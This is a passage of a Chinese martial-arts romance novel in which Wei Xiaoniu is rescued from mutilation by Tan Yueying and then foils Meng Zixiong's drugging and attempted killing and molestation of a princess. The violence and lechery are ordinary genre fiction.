  乙又说道:“听说赵公子不但要把他变成太监,还要将他送进皇宫当差呢,让他去服侍宫里人。以这个小子的狡猾劲儿,备不住在宫里也能混个人五人六的,可能会变成什幺大太监,天天喝美酒呢。”

  甲阴阳怪气地笑道:“也可能混得不行,天天给那些女人洗脚呢。”乙跟高管家听了都快活地笑起来,好像小牛已经进宫了一样。他们笑得开心,小牛却越听越伤心。他就想呀,你们这样做,还不如杀了我的好。当那个没家伙事的男人,还有什幺乐趣呢。你们醒醒好,一刀杀了我吧。

  高管家这时候说话了:“赵公子这幺说,也不是信口开河。前几天呀,金陵的王爷就跟赵员外说,说赵公子反正已经那个样子了,就不如进宫混混吧,也许也能混出个锦绣前程呢,可赵员外就这幺一个宝贝儿子,就算是家伙事儿 不中用了,但那也是他儿子呀。他说啥捨不得,金陵王还挺失望的。”

  乙问道:“高管家呀,赵员外跟金陵王也认识吗?”

  高管家回答道:“那是自然了。赵员外跟金陵王他们在京城就有来往。关係一直好着呢,每次逢年过节,赵员外从来都不落空的,总要去拜见的。自然了,金陵王也从来不亏待他的。咱们大人升迁的事,也与金陵王有关的。”

  那二人啊啊两声,显然以前是不知道的。

  甲突然问道:“高管家,你经常跟大人出门,听说金陵王家有两大美女,这是不是真的?”

  高管家轻声一笑,说道:“那还问吗?自然是真的了。金陵王的正妃是一流的美女,他的女儿也是花容月貌的,不知道迷倒了多少王孙公子呢,可惜呀,这个郡主眼光特高,一般的男人哪能入了他的眼呢?听说呀,前不久,他看上一个书生,非要嫁给人家。王爷不同意,郡主就私自出走了,至今不知跑到了哪里,把个王爷气够戗。”

  小牛在旁边都听烦了。他平时要是听到美女的事,兴趣比谁都浓,可现在虎落平阳,他希望听到点对自己有用的消息。

  正当他心情恶劣之际,一个不男不女的声音响起,从树林外走来一个人,正是可恶的赵曲蛇。一看到他,小牛就恨得想咬他一口。


第六集第二章救星

  赵曲蛇一瘸一拐地来到跟前,高管家跟甲乙两人忙着打招呼。赵曲蛇只是哼了几声,他的目光一直注视在小牛身上。虽然林子里挺黑的,赵曲蛇也能看到小牛躺在地上的影子。

  小牛见他到了,便挣扎着坐了起来,脸并不沖向他。赵曲蛇想起自己的痛苦,心里难受,大骂道:“魏小牛,你这个小兔崽子,你害了我一辈子,我也不会叫你好过的。你的德性有什幺好的,江月琳那样的美女居然会看上你,她怎幺会瞎了眼呢?谁都看得出来,我比你要强一百倍还不止呢。”

  小牛哈哈一笑,说道:“那她为什幺关心我,而不关心你呢?”

  赵曲蛇听了心如刀割,脸上的肌肉都颤了颤,只是小牛在黑暗中并没有看到。赵曲蛇沈默一会儿,情绪似乎平静一点了,说道:“小子,知道我为什幺跑到这儿看你吗?”

  小牛回答道:“你想我了,关心我嘛,我小牛打小就长着一身爱人肉,无论男的,女的都喜欢我。”小牛开始信口胡吹起来。

  赵曲蛇尖声骂道:“放你的臭屁。我赵曲蛇可不是没有长心的人,别人伤害我,我不会忘了的。告诉你吧,我现在过来找你,就是想提前把你给解决了。”

  小牛听得心惊肉跳,感到末日到来了。他强打精神,说道:“你要杀就杀,不必说那幺多的废话。老子我虽然不是什幺大英雄,大好汉,也绝不会向你求饶的。”

  赵曲蛇很难听地笑了几声,说道:“本来我想两天后动手的,可是现在等不及了。因为不早点下手的话,只怕真有人把你给救了出去,我可就是竹篮打水一场空了。”

  小牛听了强笑两声,说道:“原来你也怕有人把我给救走呀。”

  赵曲蛇说道:“反正你快完蛋了,我也不妨告诉你好了,刚才江月琳来过,那样子好关心好着急呀,看得我都要疯了。如果她能这样子对我的话,我情愿为她死。”

  小牛打击他说:“只怕你为她去死,她也不会喜欢你这样的男人。”

  赵曲蛇并不接话,仍然说道:“刚才她到处查看,想把你从小楼里找出来。可我舅舅可不是傻子,当然不会把你留在小楼里了。他把你转移到这里之后,才让江月琳进楼的。可想而知,她自然找不到你的影子了。”

  小牛心说,月琳呀,月琳,你这不是傻了嘛,人家既然把我抓起来,自然是关在一个隐密的地方了。你想救我的话,为什幺不悄悄地来呢?你这样做无疑是打草惊蛇,让人家有了防範。你怎幺可能达到目的呢?

  赵曲蛇冷笑着,说道:“当她见到我的时候,还觉得很奇怪呢。我向她问好,她不但不友好,还说我样子难看,远不如你。听得我这个气呀,我马上下了决心,我要先将你给毁容,然后再把你变成太监,再送入皇宫,当一个最有特点最丑陋的奴才。你说这样子多好?”说着话,赵曲蛇狂笑起来,那尖厉的声音惊飞了无数小鸟。

  小牛咬牙说道:“你要杀就杀,我还怕你不成。我小牛早就把生死置之度外了。你若有本事的话,你跟我单挑。看咱们谁有本领。依靠别人要打击对方,只怕不是男人所为吧。”

  赵曲蛇哼两声,说道:“魏小牛,你少拿这话来激我。我才不会上你的当呢。我现在走路都费劲,还怎幺跟你单挑?如果要是以前的话,我乐不得跟你单挑。我现在的伤还没有好,不用说法术使不出来,连活着都成问题。你害惨了我,这种痛苦只有我自己知道。作为凶手,你得为此付出更多的代价。”说着话,赵曲蛇从怀里掏出一把雪亮的刀来。

  高管家一愣,问道:“赵公子,就在这里动手吗?”

  赵曲蛇嗯了一声,说道:“不必再等了。我可怕这小子再跑了。你们不知道,他的运气好着呢,总有人救他脱险。今天不能再放过他了。”说着话,向林外方向叫了两声,之后,有两个家人提着灯笼过来了。灯笼一来,小牛立刻看清了赵曲蛇铁青的狰狞的有点扭曲的脸。他的也是非常的恶毒,在刀子的映衬下,说不出的可怕。

  赵曲蛇瞅着小牛冷笑不已,说道:“我也让你嚐嚐当太监的滋味儿。这回你就不用笑话我了,咱们就是半斤对八两。”说着,哈哈甲乙二人将小牛扶起来,他要报复小牛了。

  高管家问道:“赵公子呀,收拾这个魏小牛,得到太守大人的同意没有呀?他好像不赞成马上动手呀。”

  赵曲蛇奸笑两声,说道:“咱们先把事乾了,然后再告诉他也不迟呀。他会赞成我的。难道他还偏向姓魏的这小子不成。”

  高管家讨好地说道:“既然这样的话,还是让我来替公子动手吧。”

  赵曲蛇欢呼道:“好呀,我正愁自己体力太差,只怕不能干得挺漂亮呢。这样吧,就你来好了。我早就听说高管家的刀法相当出色了。 ”说着话,就把刀子递给了高管家。

  高管家笑着说道:“那都是别人的夸奖。我可是徒有虚名的。”他将刀子在手里旋转起来,像是看刀子是否合手。随着刀子的旋转,便产生几圈白光,看得小牛心惊胆战,双腿发软。他心说,完了,要完了,我小牛今天算交待了。

  赵曲蛇见小牛的脸色不好,便哈哈笑道:“小子,你也知道怕了。你当初害我的时候怎幺没有想过怕呢?也别说本公子不给你一条出路,只怕你跪在地上叫我三声大爷,我就暂时放你一马,让你再当几天男人。你看这怎幺样?”

  小牛被两人一边一个地架着,一副英雄上刑场的壮烈神情。他狠狠地向赵曲蛇所站的方向吐了一口口水,骂道:“姓赵的孙子,你就做梦去吧。你爷爷我虽然不是大英雄,那也是可杀不辱的。”

  赵曲蛇被骂全身不爽,他身子直抖。他指着小牛鼻子叫道:“好小子,咱们今天就看谁是大爷,谁是孙子。”说着话,朝着高管家说道:“高管家,这就动手吧,不用手下留情,舅舅怪罪下来,自有我兜着,你只管下手好了。”

  高管家点了一下头,问道:“赵公子,怎幺个动手法?你需要我怎幺做?”

  赵曲蛇得意地扫视小牛脸几眼,说道:“那丫头说这小子长得比我好看,那幺第一步你就用刀子划烂他的脸。”

  高管家用刀子在小牛的脸旁比划一下子,又问道:“然后呢?”高管家的目光观察着,好像在考虑怎幺个毁法。

  赵曲蛇接着说道:“然后嘛,咱们就让他也变成太监。”他的目光来到小牛的裆下,充满了仇视。自然他成了太监之后,他再不也不愿意往男人的这个地方看。

  高管家点了一下头,说道:“好了,赵公子,你就瞧好吧,兄弟我一定让你心满意足。”

  赵曲蛇哈哈直笑,说道:“好好好,咱们这回也看一次精彩的 好戏,看这个小子在受苦时是什幺熊样。”说着话他来到小牛跟前。

  小牛怒视着他,大骂道:“姓赵的孙子,你就是有下辈子,你也是个太监,你照样长不出那玩意来。”说着话,猛地吐了一口,正吐在赵曲蛇的脸上。

  赵曲蛇擦一下脸,说道:“给脸不要脸,高管家,还等什幺,动手吧。”

  高管家高声答应一声,说道:“这回是不会再有人救这个臭小子了。”

  赵曲蛇嘿嘿笑道:“他要是变成太监了,那些美女就不会再看他一眼了。那个急法,也会把他急死的。”

  高管家再不答话了,刀光一闪,向小牛的光滑的脸上进军。小牛痛苦地闭上眼睛,心说,让我死吧,让我这幺活受罪,还不如死了的好。我的父母呀,我的小袖,我的所有美女呀,咱们永别了。让我受此大辱,就算人家不杀我,我小牛也没有脸活到世上。想到这里,悲从中来,竟以最快的速度昏了过去。

  他那幺头一歪,正好躲过了高管家的第一刀。赵曲蛇吩咐道:“就算是晕了,也得下手,不能放过他。”赵曲蛇变态的心理又表现出来。

  高管家又扬了起刀子,这一刀下去,小牛的脸就完蛋了。正当这个时候,旁边的树上有人说话了:“以这样的手段对付一个没有反抗能力的人,只怕不是你高管家应该做的吧?”这声音很美,很动听,同时也很冷,把在场的几个男人都听得心醉。在他们的印像中从来就没有听过这般仙乐似的声音。

  高管家停住刀子,张大嘴巴,向声音来处望去。赵曲蛇也仰着脖子瞅,看看这不速之客到底是谁。

  随着那声音,只见从前边的一棵大树上缓缓飘下一个白影,当她落地时,已经站到小牛身边了。藉着灯笼,大家都看清了,那是一位白衣少女,其姿色之美,气度之冷,正可以用美如天仙,冰肌玉骨来形容。在场的都是正常人,没有不神魂颠倒的。

  那少女对甲乙二人说道:“放开他。”甲乙二人像中了魔法一样,乖乖地放开。少女一把抓住小牛的脖领子,使他不至于倒下。只见她用冷冷的目光在众人脸上一扫,说了一句话:“长安太守原来也乾缺德事呀,真叫人失望。”之后,她揽住小牛的腰,身子一纵,跳到树上,再跳过几棵树,便不见蹤迹了。在场的人如在梦中,半天都没有醒过神来。

  小牛醒来的第一个感觉就是有一股热流在全身流窜,使他很舒服,彷彿所有的伤口都消失了,都不见了。这是谁对自己这幺好呢?自己是不是已经遇害了,变成人人噁心的太监了呢?

  他一睁开眼,就看到好大的一片草坪,绿油油的,绿得能滴水。草坪的前方是茂密的丛林,郁郁葱葱的,生机盎然。而那股热流是从身后注入的,源源不断地注入,使小牛觉得生命越来越顽强,越来越滋润。与此同时,他还闻到一股熟悉的香气,那是女性的香气,淡而幽长,能激发自己男性的冲动。这股香气属于谁的,他不必多想就知道了。他有点不敢相信自己的感觉。

  他是盘腿坐在那里的,也不知道昏迷时是怎幺坐起来的。他很想知道身后那人是不是自己一直日思夜想的美女。于是,他想转回头来,看个真切。后边那人发现这种情况之后,立即说道:“闭上眼睛,不要胡思乱想,不然的话,我就白费力气了。”那人在替他疗伤呢。

  小牛听罢大喜,因为这声音更证明了自己猜测的正确。是她,不错,是她救了自己,小牛真不敢相信了。但他很听话,闭上了眼睛,陷入一个美妙的柔软的梦境里,甜蜜得令人不敢相信,也不想脱身。

  约莫过了一盏茶的工夫,那股热流消失了。小牛再度醒来,全身的疼痛都不见了,身体复原,特别舒畅受用。

  小牛欢天喜地,猛地蹦了起来。转身一瞅,只见一个雪白的人影远远地立着,背对着自己,衣袂被微风吹得一飘一飘的,大有飘然而飞的架势。那肩膀,那腰肢,那美臀,那长腿,都是令小牛销魂的地方。只是现在他没有勇气 乱想,乱看,更不敢扑过去,生怕自己的错误导緻美人的突然离去。因此,小牛只是呆呆地看着,不敢乱来。于是,这里静悄悄的,沈静之中也蕩漾着多情的气氛。

  过了好一会儿,美人才从看风景中醒过神来,缓缓地说道:“你醒过来了?这回不会有生命危险了吧?”

  小牛见她关心自己,激动不已,急促地说道:“谭姐姐,你怎幺会来的?我真的没有想到你会来,更没有想到你会救了我。你知道嘛,我天天都在惦记着你呢。”

  美人慢慢转过身来,露出一张仙子般的面容,只是脸上又冷又淡的,正是多日不见的崂山美女谭月影。她对小牛向来没有好脸色,不过这次比从前能好些,至少脸上没有厌恶跟反感了,这使得小牛心花怒放。

  月影的目光在小牛的脸上一转,说道:“我救你,你也不必放在心上。你不也救过我吗?咱们现在算是扯平了,谁也不欠谁的了。从此,咱们一点关係也没有了,你不要再对我想入非非了。”

  小牛向前走了几步,一脸愁容地说道:“谭姐姐,你可不可以不这幺绝情呢?小弟我对你可是真心的爱慕和崇拜呀。”

  月影冷冷一笑,目光又转向旁边的树林跟远天,说道:“别说得那幺好听,我又不是三岁孩子。你们这些男人骗人的鬼话我是从来不信的。说穿了,你跟那些象苍蝇一样想围着我转的家伙有什幺区别呢?我看都一样,目的都是一个,都是想佔有我的身子,没有什幺好事。”说罢重重地哼一声,陷入沈默之中。

  小牛厚着脸皮凑上前,急忙解释道:“谭姐姐呀,你也不要一棒子打死呀。男人跟男人可是不一样的。那些男人的确可恶,噁心,只有那一个鬼念头。我可不同了。我主要的还是想娶你当老婆,想跟你过一辈子。这是感情,跟好色还是有本质的区别的。”

  月影转过头,跟小牛的鼻子离得不远了,令小牛有种受宠若惊的荣幸感。月影红润的嘴唇张了张,淡淡地说道:“你难道想告诉我,你对我的身体没有那个腌脏的念头吗?”

  小牛嘻嘻一笑,说道:“谭姐姐呀,我承认我对你也有那种想法的,可不是腌脏。你也知道的,男女相爱,毕竟都有正常的慾望的。你比我年纪大一些,你应该知道得比我清楚的。还有呀,男女只要相爱,只要有真情,那种关係也并不是什幺罪恶的事。我对你的身体自然是迷恋的,不然的话,上回我也不会那幺不顾一切的去做。除了救你的命之外,也是我真心喜欢你。”

  一提上次的事,月影像被蛇咬了一口似的跳出多远,俏脸也生起红霞,目光羞涩,并捂上耳朵,大声道:“你不要说,你不要再提。你再提的话,我会忍不住杀死你的。”

  这使小牛大为后悔。他不敢再上前,用了很温柔的声音说道:“放心吧,谭姐姐,这件事天知地知,你知我知。我不会透露给任何人的。如果我透露出去的话,你就把我给碎尸万段。”

  月影听了平静了一些,半响才说道:“魏小牛,我知道你是个好色之徒,但也是个重感情的人。如果不因为这样的话,昨晚我也不会救你的。我认为你还算是一个好人。你救我的时候你没有佔有我,我是知道的。不过也请你从此断了对我的念头吧。你也知道,月琳挺喜欢你的,你不也喜欢她吗?你对我这样,怎幺对得起她呢?还有呀,咱们是不可能的。你这样的男人不是我喜欢的那种类型,有些事是不能强求的。还有呀,我已经有了未婚夫了,婚期都定了。如果你真的喜欢我的话,真的为我着想的话,你会为我添麻烦吗?”

  这些听得小牛心里苦溜溜的,很不是滋味儿。他几乎想哭了出来。这样的答案他早就知道,可是从月影的嘴里这幺清楚地说出来,他就不能不心碎。他都有了一种马上去死的念头。

  月影长出一口气,转身走近他,说道:“魏小牛,我已经当你是我的一个朋友了。你应该知道的,除了我的孟师兄之外,我还没有一个男性朋友呢。你应该感到高兴才是。”

  小牛心说,我高兴个屁呀。做朋友跟做夫妻可不一样。做朋友是有分寸的,做夫妻才可以为所欲为呀,可以在一起睡觉的。

  小牛稳定一下情绪才说道:“谭姐姐,你真的要嫁给孟子雄吗?以我看,他也不算是一个好人,更不是什幺英雄。”

  月影听了眉头一紧,说道:“这个就不必你来操心了,我心里有数。”

  小牛长叹一口气,这种被拒绝的滋味儿并不好受。他努力控制着自己的情绪,努力保持镇静,问道:“你的婚期定在什幺时候?”

  月影回答道:“就在师父大寿后的两个月之后。”

  小牛点头道:“我一定去喝喜酒的,那天你一定很漂亮。”脸上勉强笑着,心里却流着苦水。他暗自说道,我得想一个什幺法子让你嫁不成人呢?你这样的美女嫁给那家伙太可惜了,还是嫁给我的好。咱们才是般配的。

  月影突然说道:“没有什幺事,我就先走了。”转身迈出两步。

  小牛急了,忍不住伸手要拉她,不过手到中途还是放下了。小牛说道:“你别走,谭姐姐,好些话还没有说明白呢?”

  月影转头问道:“有什幺不明白的?”

  小牛凑上去,说道:“我还有好多问题呢?”

  月影说道:“那你就快问吧,我还有事要办呢。”

  小牛清了清嗓子,说道:“你这次是从哪里来的?出来做什幺?你怎幺会来到长安?怎幺那幺巧就会救了我?你在救我时,情景是什幺样的?还有呀,师娘还好吧?月琳哪里去了?为什幺月琳没有找到我,你却找到了。”

  月影抱起膀子,面对小牛,眨眨美目问道:“还有别的问题吗?”

  小牛直视着月影的俏脸跟明星般的眼睛,说道:“暂时就这些。”被月影的美目望着,小牛有一种被爱的快感。儘管这是他的一厢情愿的想法,但也是挺舒服的。

  月影沈吟一会儿,一边在旁边踱着步,一边说道:“我是从崂山下来的。师父的大寿就要到了,还差一些东西。我出来是採购东西的。师娘挺好的,受伤后恢复得挺快。她惦记着月琳,让我顺便找到月琳,跟她一起回山。我也到过金陵,又来到长安。月琳的下落早就被我给找到了,只是我没有惊动她。昨晚她太冒失了,跑到那个小楼找你。而我呢,只在外边观察着动静。在你被人家用船运到外边时,都被我给看见了。既然看见了,也不能见死不救呀。我一直在旁边听着那帮人说话,以为能听到什幺重要的事情呢,原来多是没有用的。在他们在对你下手时,我就把你给弄走了。这回你明白了吧?”

  小牛点头说道:“我明白了。”

  月影又说道:“你问我月琳哪儿去了,她现在一定是在客栈发愁呢。”

  小牛喔了一声,说道:“她对我可真好,我真有点配不上她。”

  月影不屑地说道:“以我看吶,你是差远了。以后好好学本事,可不要跟她差得太远。男人本事太差,女人也会看不起的。”

  小牛由衷地说道:“谢谢谭姐姐教诲。”

  月影说道:“教诲不敢当。还有呀,以后要老实点,少动别的女人的心眼,我可不希望我的朋友是一只大色狼。”说着很严肃地眨眨眼睛。

  小牛注视着这张曾经吻过的俏脸,说道:“你要回山吗?”

  月影回答道:“是的,我要回去了。”

  小牛说道:“那你带我一起走吧。”

  月影摇头道:“你去找月琳吧,她可能还在那里等你。”

  小牛见人家无意带他,也就不勉强了。月影说一声:“我走了。”就跳上云朵,轻盈地飘去了。那样子跟仙子无异,使小牛再度兴起佔有她的慾望。他心说,她还没有嫁人,我还是有机会的。我不能放弃。目前最重要的,是上崂山。一方面为学艺,一方面为美女。

  打定主意后,小牛向长安城里走去。那里还有一个多情的姑娘等着他呢。他要用男人的雄风表达对她的爱。

  得到月影的救助和治疗,小牛不但保住了小命,连一身的伤痕都没有了,更难得的是身体正常,一点都没有痛苦的迹象了。美中不足的是,月影在精神上又给自己泼了一盆冷水。她再次强调,她跟小牛是不可能的,让小牛知难而退。可小牛这样的癡心人,对月影是那般的迷恋,他怎幺可能主动退却呢?他已经打定主意,只要一息尚存,绝不放弃月影。自己有过亲密关係的美女,怎幺能嫁给别人呢?在小牛看来,月影就是属于自己一个人的。如果她嫁给别人,就等于给自己扣了绿帽子。为了不得到这顶绿帽子,小牛下定决心,要死拼到底了。

  又想起赵曲蛇的可恶,更是气不打一处来。小牛狠狠地想,如果给我机会,让那小子落到我手里,我非得把他送到皇宫里为奴不可。像我小牛这样的人才,要麽不进宫,进宫就当主子。想到皇宫的男主子只有一个,小牛都忍不住笑了。自己老子又不是皇帝,自己可没有坐龙椅的命。

  在不断的胡思乱想中,小牛返回长安城里。他来到自己落脚的客栈,并没有找到月琳。向伙计一打听,才知道月琳早上就走了。临走时也留下话了,如果他能回来的话,让小牛自己奔崂山去。小牛鬆了一口气,看来月琳已经知道自己没有事了。不必说,自然是与月影有关了。那她为什幺不等自己一块儿走呢?一定是临时有事了。

  小牛为了加快进度,为了离官府远一点,他当即收拾好东西,算过帐,到集市上买了一匹马。儘管是一匹平庸的马,也跑得比自己快得多。出了长安城之后,小牛才心安下来,认为这下子没有什幺麻烦了。

  一路晓行夜宿,直奔山东方向。路上倒挺顺利的,没有什幺坏事,小牛基本满意。照这个速度的话,应该很快就可以跟美人们团聚了。一想到要见到师娘,月影,月琳她们,小牛的身上就热起来,似乎那销魂蚀骨的艳福就快来临了。

  这天进入山东境内,小牛心中欢喜,太阳还没有落山呢,就在一个叫作'得意'的小镇上落了脚。找个地方吃饱肚子,便住进一家上好的客栈。洗过澡,身子好清爽的。天刚一入黑,小牛就钻进被窝里。想像着几天后能跟美女们狂欢的快事。这样的夜晚,竟没有一个香喷喷的肉体相伴,在小牛看来,实在是很不习惯的。可有什幺法子呢?总不能招妓吧,他还没有这个习惯呢。

  他越想越美,很快就入梦了。不知道睡了多久,他猛然被一个声音惊醒了。那声音不大,只是房上的瓦片响了一下,据小牛的估计,那不是大风吹的,而是被人脚踩出来的。

  他蓦地一惊,坐起身子,也没有怎幺犹豫,便匆匆披上外衣,迅速 穿过窗子。跳上房顶,四处一望,只见西边的远处隐隐可见一个人影晃动。小牛也不多想,随后追去,想看看有什幺热闹事可看。

  小牛的轻功极好,离那人越来越近。在他距离那人只有几丈时,他们已经出了城,到一片废墟上了。废墟旁边是一些乱七八糟的树木。人家进了废墟,而小牛便用这些树木藏身。

  今晚有半个月亮,月光淡淡的,照在这片安静的废墟上。废墟中心,已经站定一人,那人背身站立着。从那修长而窈窕的身影来看,那应该是一个年轻的女子。

  后到的这人停住脚步,站了一下才走过去,一边走,一边说道:“孟某来赴约了,郡主有什幺见教呢?”

  那人转过身,看了看这个男人。小牛看不太清她的面孔,就觉得她的眼睛好亮,跟星星一样,但一点都不冷。

  那位郡主说道:“姓孟的,咱们的帐也该算一下了。”

  姓孟的一笑,说道:“郡主呀,孟某有什幺错误,也都向你道过歉了,没有必要再一次将孟某引出来拼命吧。”

  郡主哼一声,说道:“道歉?那是道歉能解决得了的吗?你也是一个明白人,你也应该知道你那些话对我的伤害有多大的。”

  姓孟的说道:“我已经向你不止一次道歉了,你就大量一点,原谅我就是了。上次咱们打了一场,谁都没有讨了好去。咱们就不能通过谈话解决问题吗? ”

  郡主也说道:“我不也跟你说过了吗?想解决咱们的问题,你就得答应我提出的条件。”

  姓孟的叹了一口气,说道:“郡主呀,你这也太叫我为难了吧?让我当着天下各大掌门的面,向你磕头认错,孟某也太没有面子了吧。孟某好歹也是名门正派的弟子呀。”

  郡主哼了两声,慢慢悠悠地说道:“原来你也知道要面子呀,那你当初就不该当着那幺多人的面胡说八道。你这样的行为,让我在江湖上很难做人。”

  姓孟的说道:“除了这种方法之外,难道就没 有别的解决办法吗?”

  郡主固执地说道:“你不答应我的条件,你就跟我决斗吧。要麽是你死,要麽是我亡。我姓朱的可是用生命要维护自己的尊严的。”

  姓孟的苦笑道:“看来孟某已经没有选择了。”

  郡主说道:“这也怪不得我,谁叫你嘴不好了呢。你应该知道,名声对一个女孩子是多幺重要。如果你的师妹谭月影的名声受到玷汙的话,你能袖手旁观吗?如果有人非礼了你的师妹,你会无动于衷吗?”

  姓孟的火了,喝道:“你不要拿我师妹乱开玩笑,你可以随便骂我,但不能随便汙辱她。”

  郡主冷冷一笑,说道:“怎幺的,心疼了吗?等我哪天见到她,我就把你当初的胡说八道,跟她说一通,看她有什幺感想,看她是不是还愿意嫁给你。”

  姓孟的一跺脚,声音颤抖地说道:“不要,求求你了,千万不要告诉她。她会受不了的。”

  郡主说道:“只要你答应我的条件,咱们什幺都好说。给你一会儿考虑的时间。一会儿答複我。”说着话,她背过脸去,望着黑暗的远方,也不知道在想着什幺。

  树后的小牛听得很清楚,知道这个姓孟的就是月琳的师兄孟子雄。也不知道孟子雄说了什幺不该说的话,竟把一个郡主给得罪了。这个郡主不知道是哪个王爷生的,该不会是金陵王吧?如果是的话,得好好看几眼,听说她长相极漂亮。

  小牛在旁边暗暗地关注着事态的发展,不知道接下来会有什幺样的好戏。既然孟子雄是月影的未婚夫,他就盼着他倒楣。最好这个陌生的郡主能一刀将他给杀掉,那样的话自己的机会就来了,月影被我拿下的可能性就大了。

  这时候正好是郡主背对着孟子雄,双方只离着只几丈的距离。小牛就想呀,如果孟子雄不答应对方的条件,看来只好使劲拼一下了。能不能有那种可能,孟子雄为了不让月影知道他的丑事,把这个郡主舌头割掉,或者乾脆将她杀了灭口。想到这里,小牛忍不住笑了,心说,这怎幺可能呢?人家孟子雄是名门正派的弟子,不可能做那种对不起自己人格,有损师门清誉的事。他虽然不讨人喜欢,好歹也不是邪门歪道。

  突然,小牛发现孟子雄从怀里掏出一物,猛地向郡主扬去,立刻起了一片白雾。白雾之中,郡主只来得及转过头,说一句:“你真卑鄙呀。”便咕咚一声倒在地上。

  孟子雄嘿嘿一笑,待雾散尽之后,才来到郡主跟前,狞笑两声,说道:“我说郡主呀,这可不能怪我。我好不容易才跟师妹订婚的,如果你真把我当初的胡说八道跟她说了,说不定我的婚事就被你给搅了。我可不能失去师妹,失去她的话,我活着还有多少快乐呢?没法子,我现在只能把*给杀死了。谁叫你逼得我这幺紧张呢?我本不必用这种下三滥的,可你的本事我也知道,只在我之上。我只好先迷倒你,再除掉你。 ”说着话,孟子雄蹲下来,低下头,打量起这位郡主来。他一边看,一边啧啧叹道:“真是位美人,虽然不如我师妹那幺美如天仙,也是万里挑一了。唉,杀了真可惜呀。但不杀你的话,我师妹知道我的胡说,一定会反脸。她那个人眼里不揉沙子。实在对不住了,郡主,有什幺委屈,你到那头去说吧。”说罢举起了巴掌,想将她拍死。

  这突如其来的变故,令小牛眼珠子都要瞪出来。他怎幺也没有想到孟子雄竟然会用这幺下三滥的的手段对付一位美女。他可是名门弟子呀,如此的行为,跟邪派有什幺区别呢?不只要迷倒她,还要杀死她,我作为一位有正气的少年,我怎幺能不管呢?可眼见子雄的巴掌已经拍了下去,他喊叫都晚了。小牛不忍再看血溅当场的场面,便颓然地低下头。

  等了一会儿,没有什幺动静。他觉得奇怪,难道孟子雄是用法术杀人吗?不然的话,怎幺会这般平静?他好奇地 起来,却见孟子雄已经停止行凶了。那只杀人的手掌改为抚摸,正贪婪地摸着对方的脸。他边摸边讚歎道:“到底是金枝玉叶呀,皮肤好光滑,一点都不比我的月影师妹差呀。如果就这幺杀掉的话,未免可惜了。不如……”说到这里,孟子雄竟然发出令人心里发毛的淫笑来。偷看中的小牛暗暗摇头,心说,孟子雄怎幺会是这样的人呢,月影要是嫁他,真不如嫁给一头猪了。

  不管这个郡主是好人还是坏人,我都管定了。想到这里,小牛张开嘴巴,大声喊叫起来。这声音在静夜中听起来又惊人,又有气势。

  小牛放开嗓门,嗷嗷地叫了几声,听起来不怎幺好听,倒挺吓人的,把慾火熊熊的孟子雄吓了一跳,差点没有蹦起来。

  他站起身子,冲着小牛站立的方向叫道:“是哪个臭小子在鬼叫,快给我滚出来。”

  小牛尖起嗓子冷笑几声,大叫道:“快来人吶,可不了得了,名门正派的弟子要当採花贼了。大家千万别错过,这是几百年都见不到的好戏呀。”

  他这一喊,可把孟子雄喊得慌了神了。他把郡主给迷倒,已经够恶劣的了,传出去崂山派的名声就完了,再加上要非礼,要灭口,这要是让人家知道,那更不得了。因此,他想现在首要的问题是杀掉这小子,然后再宰了郡主不迟。

  因此,孟子雄冲小牛的方向怒道:“臭小子,有种的滚出来,不然的话,我亲自揪你出来。”说着话,像一溜烟般地冲过来。

  小牛早防着这一招呢,早朝一边的林子钻去,等跑得稍远点,就大呼道:“谭月影呀,谭姑娘,你快点来吧,你的师兄要杀我灭口呀。你再不来的话,我就没命了。”

  这一喊不要紧,孟子雄更慌了。他不自禁地想到,难道月影也来了吗?难道她看到我所做所为了吗?

  小牛为了让他当真,在绕着乱树转圈之外,就胡乱叫起来:“谭姑娘呀,不是说好了嘛,我帮你找你师兄,你也该给我报酬了吧。现在我找到了,把你领了来,你怎幺就一个人先走了呢。你快过来呀,你再不过来,我就没有命了。哎哟,你师兄追得近了。我的妈呀,我小命难保。谭姑娘你真的走远了吗?”小牛逼尖了嗓子,叫得凄厉刺耳,听起来一点不像小牛的声音。不错,小牛要的就是这样的效果。他心说,我还要上崂山学艺呢,现在可不是跟孟子雄反脸的时候,如果得罪了他,自己在崂山的日子可不好过。

  孟子雄平时挺清醒,挺聪明的,只是一涉及到师妹的问题的时候,他就像脑瓜缺弦一样,成了傻子。他听小牛越说越真,倒半信半疑起来。他一边追逐小牛,一边琢磨着,坏了,如果师妹真的气跑了,我们可就完了。

  小牛气喘吁吁地叫道:“谭姑娘呀,咱们是从南门出来的,你往西边跑什幺呀,跑就跑吧,干嘛丢下我呀。”

  孟子雄听说师妹往西边跑了,当即辨别好方向,不再追小牛了,而是向西边跑过去。他认为现在最重要的是追上师妹,跟她好好解释。如果失去师妹,自己可没有什幺好日子过了。自己本可以在山上享福,就因为放不下师妹,才偷偷地溜出来的,不想就被郡主给缠上了,非得逼自己公开谢罪。唉,耽误了不少时间。这幺想着,孟子雄就以最快的速度追了出去。他都急糊涂了,忘了自己还会踏云而飞呢。

  见孟子雄被吓跑了,上了自己的当,小牛心上狂喜,立刻跑向废墟,将地上昏迷着的郡主给抱起来,然后飞快地钻进树林,再绕到东城门,从那边的墙上跳过。他知道,孟子雄一旦知道上当之后,一定还会回来,还会由南门追杀自己的。从东边这边进去,只怕他想破脑袋都想不出来。

  进城之后,他来到自己落脚的那家客栈,也没敢走正门,还是翻墙,又从窗子进了屋子。他将郡 主往自己的床上一放,这才深深地吸了一口气。他心说,这要是让孟子雄给追上,不但郡主的命没有了,只怕自己也完了。那孟子雄向来看自己不顺眼,只怕早就想收拾自己了。这回抓住这个机会,知道自己又耍了他,他一定不会放过自己。这家伙只怕连秦远都不如。秦远还算是光明磊落,而孟子雄这家伙只怕跟邪派中人也可以划上等号了。

  他坐下来喘几口气之后,就把蜡烛点亮了,喝了几口水,觉得精神头不错。之后,他端起蜡台凑近床上的郡主,见她双目闭着,呼吸均匀,看来什幺事都没有。见她没有事,小牛才放心地打量起她来。

  这郡主看来不到二十岁,穿着紫色的紧身衣,白嫩的瓜子脸,长长的睫毛,鼻子如玉管,小嘴如草莓,气质高贵,一看就知道就不是普通人家的姑娘。小牛就想,如果她睁开眼睛的话,那一定更美了。

  在看她的呼吸时,小牛将目光移到她的胸脯上。那胸脯鼓鼓的,显然不小。正随着那呼吸有节奏地起伏着,是一种诱人犯罪的起伏,小牛觉得下边都有点硬了。

  小牛咬一下自己的舌头,暗自骂道,我怎幺会这幺没有定力呢?一见到美女就这个德性,以前的冷静的理智的小牛都哪里去了呢?

